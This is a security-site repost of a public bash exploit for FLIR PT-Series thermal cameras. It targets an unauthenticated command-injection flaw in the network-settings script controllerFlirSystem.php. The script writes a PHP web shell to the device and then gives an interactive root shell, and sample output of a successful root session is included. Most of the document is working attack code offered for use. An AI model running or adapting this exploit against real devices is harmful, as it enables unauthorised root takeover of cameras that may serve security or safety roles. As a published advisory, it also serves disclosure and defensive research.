

FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root

2017.09.26		
Credit: Gjoko 'LiquidWorm' Krstic (https://cxsecurity.com/author/Gjoko+%26%23039%3B%26%23039%3B+Krstic/1/)		
Risk: High	Local: No	Remote: Yes
CVE: N/A	CWE: N/A	

```
#!/bin/bash
#
#
# FLIR Systems FLIR Thermal Camera PT-Series (PT-334 200562) Remote Root Exploit
#
#
# Vendor: FLIR Systems, Inc.
# Product web page: http://www.flir.com
# Affected version: Firmware version: 8.0.0.64
#                   Software version: 10.0.2.43
#                   Release: 1.3.4 GA, 1.3.3 GA and 1.3.2
#
# Summary: FLIR's PT-Series of high-performance, multi-sensor pan/tilt cameras
# bring thermal and visible-light imaging together in a system that gives you
# video and control over both IP and analog networks. The PT-Series' precision
# pan/tilt mechanism gives you accurate pointing control while providing fully
# programmable scan patterns, radar slew-to-cue, and slew-to-alarm functions.
```

```
# PT-Series cameras define a new standard of performance with five models that
# provide full 640x480 thermal resolution.
#
# Desc: FLIR Camera PT-Series suffers from multiple unauthenticated remote command
# injection vulnerabilities. The vulnerability exist due to several POST parameters
# in controllerFlirSystem.php script when calling the execFlirSystem() function not
# being sanitized when using the shell_exec() PHP function while updating the network
# settings on the affected device. This allows the attacker to execute arbitrary system
# commands as the root user and bypass access controls in place.
#
# =====
#
# bash-3.2$ ./flir0.sh 10.0.0.10 8088
#
# Probing target: http://10.0.0.10:8088
#
# Status: 200
# Target seems OK!
# You got shell!
# Ctrl+C to exit.
#
# [root@FLIR ~]# id;pwd;uname -a
# uid=0(root) gid=0(root)
# /var/www/data/maintenance
# Linux FLIR 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082 #1 Wed May 1
12:25:27 PDT 2013 armv5tejl unknown
# [root@FLIR ~]# ^C
# bash-3.2$
#
# =====
#
# Tested on: Linux 2.6.18_pro500-davinci_evm-arm_v5t_le
#           Linux 2.6.10_mvl401-davinci_evm-PSP_01_30_00_082
#           Nexus Server/2.5.29.0
```

```
# Nexus Server/2.5.14.0
# Nexus Server/2.5.13.0
# lighttpd/1.4.28
# PHP/5.4.7
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2017-5438
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2017-5438.php
#
#
# 23.03.2017
#
```

```
set -euo pipefail
```

```
IFS=$'\n\t'
```

```
if [ "$#" -ne 2 ]; then
```

```
    echo -e "Usage: $0 ipaddr port\n"
```

```
    exit 1
```

```
fi
```

```
ip=$1
```

```
port=$2
```

```
echo -e "\nProbing target: http://$ip:$port\n"
```

```
payload="dns%5Bdhcp%5D=%60echo+\ "<?php+system(\\\\\\\\$_GET['c']);?>\ ">t
```

```
est.php%60&dns%5Bserver1%5D=8.8.8.8&dns%5Bserver2%5D="
```

```
htcode=$(curl -Is -G http://"$ip":"$port"/maintenance/controllerFlirS
```

```
ystem.php -d"$payload" 2>/dev/null | head -1 | awk -F" " '{print
```

```
$2}')
```

```
echo -ne "Status: "; echo "$htcode"
```

```
if [ "$htcode" == "200" ]; then
```

```

    echo "Target seems OK!"
else
    echo "Ajdee...something went wrong. Check your target."
    exit 1
fi

echo -e "You got shell!\\nCtrl+C to exit.\\n"

while true; do
    echo -ne "\\033[31m";
    read -rp "[root@FLIR ~]# " cmd
    echo -ne "\\033[00m";
    shell="http://$ip:$port/maintenance/test.php?c=${cmd// /+}"
    curl "$shell"
done

```

See this note in RAW Version (<https://cxsecurity.com/ascii/WLB-2017090203>)

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